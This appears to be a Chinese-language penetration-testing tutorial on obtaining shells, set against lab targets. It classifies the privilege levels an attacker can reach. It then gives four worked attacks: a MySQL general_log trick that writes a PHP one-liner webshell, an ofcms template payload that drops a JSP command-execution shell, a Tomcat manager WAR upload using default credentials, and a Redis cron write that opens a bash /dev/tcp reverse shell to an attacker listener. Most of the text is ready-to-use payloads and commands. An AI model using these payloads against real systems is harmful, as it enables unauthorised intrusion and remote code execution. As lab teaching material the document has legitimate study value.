shell 是什么?
我自己的理解shell 就是一个交互式的窗口/命令提示符 比如windows cmd linux bash之类的。
shell 又分为 webshell 和 系统shell。一般情况下 webshell 的权限 < 系统shell 的权限
学习到前面的web渗透之后,对网站的漏洞测试 和思路应该是掌握了,那么假如网站存在文件上传,传上之后应该怎么做呢?根据中间件判断,然后上传对应的一句话木马,使用菜刀 哥斯拉 蚁剑 冰蝎等工具进行连接。连接之后可以上传下载文件 也可以执行命令,一系列的操作就叫获取一个webshell。
接下来就需要了解并掌握以下知识点:
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入 网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell 数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入 接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入 系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等 域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
那获取这些权限后,我能做那些事情呢?
后台权限: 常规WEB界面文章分类等操作,后台功能可操作类 网站权限: 查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配 置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。 数据库权限: 操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限 (webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。 接口权限: 后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文 件获取),具体可以操作的事情大家自己想想。 系统权限:如同在你自己操作自己的电脑一样 域控权限:如同在你自己操作自己的虚拟机一样
案例一 数据库后台权限getshell
通过爆破弱口令登录到后台
1. 查看数据库版本
2. 查看版本得知 数据库大于5.0
查询导出的路径 没有权限
show variables like '%secure%'
3. 在查看日志状态 off没有开启 保存路径在 *@#*@*#@.log
发现 网站是phpstudy搭建 所以网站的路径在D:\phpstudy\www\ 下
show variables like '%general%'
4. 开启日志记录 并更改文件路径
set global general_log='on'; SET global general_log_file='D:/phpStudy/WWW/shell.php';
5. 执行sql语句后 就会把记录保存在shell.php 里
SELECT '<?php @assert($_REQUEST["123"]);?>';
6.使用菜刀连接
密码: 123
案例二 CMS源码-ofcms后台getshll
使用IDEA搭建 java项目 首页如下
寻找后台地址 弱口令爆破 admin 123456 进入后台 找模板文件 发现是可以更改
burp抓包 构造
payload file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell. jsp&file_content=%3C%25%0A+++ +if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++ ++++++java.io.InputStream+in+ %3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getIn putStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+ %3D+new+byte%5B2048%5D%3B%0A+++++++ +out.print(%22%3Cpre%3E%22)%3B%0A+++++++ +while((a%3Din.read(b))!%3D-1)%7B%0A+++++++++++ +out.println(new+String(b))%3B%0A++++++++%7D%0A+++++++ +out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
访问指定shell 的url
http://192.168.5.31:8080/ofcms_admin/static/shell.jsp?pwd=p0desta&i=ipconfig
案例三 中间件Tomcat平台getshell
vulhub 搭建tomcat8 漏洞平台
cd vulhub/tomcat/tomcat8 docker-compose up -d
登录后台
tomcat : tomcat http://10.0.0.60:8080/manager/html/list
上传war 包 哥斯拉生成1.jsp 然后打包为 1.zip 然后更改后缀为 1.war
访问路径 为 xxxx/1/1.jsp
上传之后 就提示ok 然后还会多一个目录
哥斯拉连接
http://10.0.0.60:8080/1/1.jsp
案例四 数据库漏洞利用redis获取权限
连接远程数据库 如何判断是否成功 输入命令有结果就说明连接成功
redis-cli -h 10.0.0.60 -p 6379
redis 反弹shell 获取主机权限
# 设置写入计划任务的路径 config set dir /var/spool/cron/crontabs # 设置计划任务的名称 config set dbfilenmae shell # 设置反弹内容 set xx "\n\n\n* * * * * bash -i /dev/tcp/10.0.0.10/1234 0>&1\n\n\n" # 保存执行 save
攻击机器 开启监听
nc -lvnp 1234